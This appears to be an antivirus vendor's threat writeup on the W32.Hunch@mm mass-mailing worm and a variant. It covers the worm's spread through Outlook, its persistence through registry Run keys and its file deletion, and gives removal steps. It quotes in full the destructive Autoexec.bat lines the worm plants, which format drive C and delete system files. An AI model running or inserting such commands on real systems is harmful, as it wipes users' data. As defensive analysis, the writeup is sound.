W32.Hunch@mm

Printer Friendly Page

Discovered: January 29, 2002
Updated: February 13, 2007 11:38:06 AM
Also Known As: Bloodhound.W32.VBWORM, W32.Hunch.D@mm
Type: Worm
Systems Affected: Windows


W32.Hunch@mm is a mass-mailing worm that modifies the Autoexec.bat file in an attempt to format drive C. It deletes all .ocx, .sys, and .dll files from the C:\_RESTORE folder, and deletes other files that have a randomly chosen extension.

Antivirus Protection Dates

  • Initial Rapid Release version January 30, 2002
  • Latest Rapid Release version September 28, 2010 revision 054
  • Initial Daily Certified version January 30, 2002
  • Latest Daily Certified version September 28, 2010 revision 036

Click here for a more detailed description of Rapid Release and Daily Certified virus definitions.

Writeup By: Douglas Knowles

Discovered: January 29, 2002
Updated: February 13, 2007 11:38:06 AM
Also Known As: Bloodhound.W32.VBWORM, W32.Hunch.D@mm
Type: Worm
Systems Affected: Windows


W32.Hunch@mm is a mass-mailing worm. If it is run, it does the following:

  1. It sends itself to all contacts in the Microsoft Outlook address book. The message has the following characteristics:

    Subject:<This varies depending on the originating file name>
    Message: Mensaje importante para <Name of the sender> en el archivo adjunto...
    Attachment:<This varies depending on the originating file name>
  2. It displays the following picture:


  3. It searches the C:\_RESTORE folder (Windows Me only) and deletes all .ocx, .sys, and .dll files from that folder.
  4. It copies itself to the hard disk as the following files:
    • C:\Windows\System\Msword.Exe
    • C:\Windows\System\Thwin.Exe
    • C:\Windows\System\<Original file name>
  5. It adds the value

    THWIN     C:\Windows\System\Thwin.Exe

    to the following registry keys:

    HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
    HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\
    RunServices

    so that the worm runs when you start Windows.
  6. It then deletes five files that have one of the following randomly chosen file extensions:
    • .xls
    • .doc
    • .wav
    • .dwg
    • .mp3
    • .bak
    • .cdx
    • .bmp
    • .htm
    • .hlp
    • .chm
    • .jpg
    • .gif
    • .scr
    • .ttf
    • .mid
    • .mdb
    • .dbf
    • .ico
  7. It keeps a log of the deleted files in the file C:\Windows\System\ListWin.txt.
  8. Finally, it modifies the C:\Autoexec.bat file by adding the following command:

    DEL  > FORMAT C: /u /v:UNSCH /autotest

    so that the next time that you start the computer (Windows 95/98/Me only) the hard drive is reformatted.

W32.Hunch.D@mm variant
This variant differs in the following characteristics:
  1. It sends itself to all contacts in the Microsoft Outlook Address Book. The message has the following characteristics:

    Subject: <This varies depending on the originating file name>
    Message: Tal como te prometf; te envfo mi foto en el archivo adjunto...
    Attachment: <This varies depending on the originating file name>

  2. It displays a pornographic picture.

  3. It copies itself as:
    • C:\Windows\System\Msoffice.exe
    • C:\Windows\System\Thd16.exe
    • C:\Windows\System\<Attachment file name>

  4. It adds the value

    "THD16" = "C:\Windows\System\Thd16.Exe"

    to the registry key

    HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run

    so that the worm runs when you start Windows.

  5. Finally, the worm modifies the C:\Autoexec.bat file by adding the following commands:

    @echo off
    DEL C:\WINDOWS\SYSTEM\*.SYS
    DEL C:\WINDOWS\SYSTEM\*.DLL
    DEL C:\WINDOWS\SYSTEM\*.OCX
    CLS
    FORMAT C: /u /v:THD16 /autotest
    CLS

    As a result, the next time that you start the computer (Windows 95/98/Me only), system files are deleted and the hard drive is reformatted.


Recommendations

Symantec Security Response encourages all users and administrators to adhere to the following basic security "best practices":

  • Use a firewall to block all incoming connections from the Internet to services that should not be publicly available. By default, you should deny all incoming connections and only allow services you explicitly want to offer to the outside world.
  • Enforce a password policy. Complex passwords make it difficult to crack password files on compromised computers. This helps to prevent or limit damage when a computer is compromised.
  • Ensure that programs and users of the computer use the lowest level of privileges necessary to complete a task. When prompted for a root or UAC password, ensure that the program asking for administration-level access is a legitimate application.
  • Disable AutoPlay to prevent the automatic launching of executable files on network and removable drives, and disconnect the drives when not required. If write access is not required, enable read-only mode if the option is available.
  • Turn off file sharing if not needed. If file sharing is required, use ACLs and password protection to limit access. Disable anonymous access to shared folders. Grant access only to user accounts with strong passwords to folders that must be shared.
  • Turn off and remove unnecessary services. By default, many operating systems install auxiliary services that are not critical. These services are avenues of attack. If they are removed, threats have less avenues of attack.
  • If a threat exploits one or more network services, disable, or block access to, those services until a patch is applied.
  • Always keep your patch levels up-to-date, especially on computers that host public services and are accessible through the firewall, such as HTTP, FTP, mail, and DNS services.
  • Configure your email server to block or remove email that contains file attachments that are commonly used to spread threats, such as .vbs, .bat, .exe, .pif and .scr files.
  • Isolate compromised computers quickly to prevent threats from spreading further. Perform a forensic analysis and restore the computers using trusted media.
  • Train employees not to open attachments unless they are expecting them. Also, do not execute software that is downloaded from the Internet unless it has been scanned for viruses. Simply visiting a compromised Web site can cause infection if certain browser vulnerabilities are not patched.
  • If Bluetooth is not required for mobile devices, it should be turned off. If you require its use, ensure that the device's visibility is set to "Hidden" so that it cannot be scanned by other Bluetooth devices. If device pairing must be used, ensure that all devices are set to "Unauthorized", requiring authorization for each connection request. Do not accept applications that are unsigned or sent from unknown sources.
  • For further information on the terms used in this document, please refer to the Security Response glossary.

Writeup By: Douglas Knowles

Discovered: January 29, 2002
Updated: February 13, 2007 11:38:06 AM
Also Known As: Bloodhound.W32.VBWORM, W32.Hunch.D@mm
Type: Worm
Systems Affected: Windows


To remove this worm, delete files that are detected as W32.Hunch@mm, delete the files that the worm added to the computer (if they still exist), remove the values that it added to the registry, and then remove the change that it added to the Autoexec.bat file.

CAUTION : If the worm has executed and you are running Windows 95/98/Me, do not restart the computer until you are finished with the entire procedure.

To remove the worm:

  1. Run LiveUpdate to make sure that you have the most recent virus definitions.
  2. Start Norton AntiVirus (NAV), and make sure that NAV is configured to scan all files. For instructions on how to do this, read the document How to configure Norton AntiVirus to scan all files.
  3. Run a full system scan.
  4. Delete all files that are detected as W32.Hunch@mm.
  5. To be sure that all infected files have been removed, use Windows Explorer to look for and delete the following files:
    • C:\Windows\System\Msword.Exe
    • C:\Windows\System\Thwin.Exe
    • (Optional) C:\Windows\System\ListWin.txt (Deleting this file is optional. It contains a list of some of the deleted files. You may want to save this file to help you restore files that were deleted by the worm.)

To edit the registry:

CAUTION : We strongly recommend that you back up the registry before you make any changes to it. Incorrect changes to the registry can result in permanent data loss or corrupted files. Modify only the keys that are specified. Read the document How to back up the Windows registry for instructions.
  1. Click Start, and click Run. The Run dialog box appears.
  2. Type regedit and then click OK. The Registry Editor opens.
  3. Navigate to each of the following keys:

    HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
    HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\
    RunServices
  4. For each one, in the right pane, delete the following values if present:

    "THWIN" = "C:\Windows\System\Thwin.Exe"
    "THD16" = "C:\Windows\System\Thd16.Exe"
  5. Click Registry, and then click Exit.

To edit the Autoexec.bat file (Windows 95/98/Me only):

NOTE: (For Windows Me users only) Due to the file-protection process in Windows Me, a backup copy of the file that you are about to edit exists in the C:\Windows\Recent folder. We recommend that you delete this file before you continue with the steps in this section. To do this using Windows Explorer, go to C:\Windows\Recent, and in the right pane select the Win.ini file and delete it. It will be regenerated as a copy of the file that you are about to edit when you save your changes to that file.
  1. Click Start, and click Run.
  2. Type the following, and then click OK.

    edit c:autoexec.bat

    The MS-DOS Editor opens.

    NOTE: If Windows is installed in a different location, make the appropriate path substitution.
  3. Look for the lines:

    DEL  > FORMAT C: /u /v:UNSCH /autotest

    or

    @echo off
    DEL C:\WINDOWS\SYSTEM\*.SYS
    DEL C:\WINDOWS\SYSTEM\*.DLL
    DEL C:\WINDOWS\SYSTEM\*.OCX
    CLS
    FORMAT C: /u /v:THD16 /autotest
    CLS
  4. If either exists, select the entire lines. Be sure that you do not select any other text, and then press Delete.
  5. Click File, and click Save.
  6. Click File, and click Exit.


Writeup By: Douglas Knowles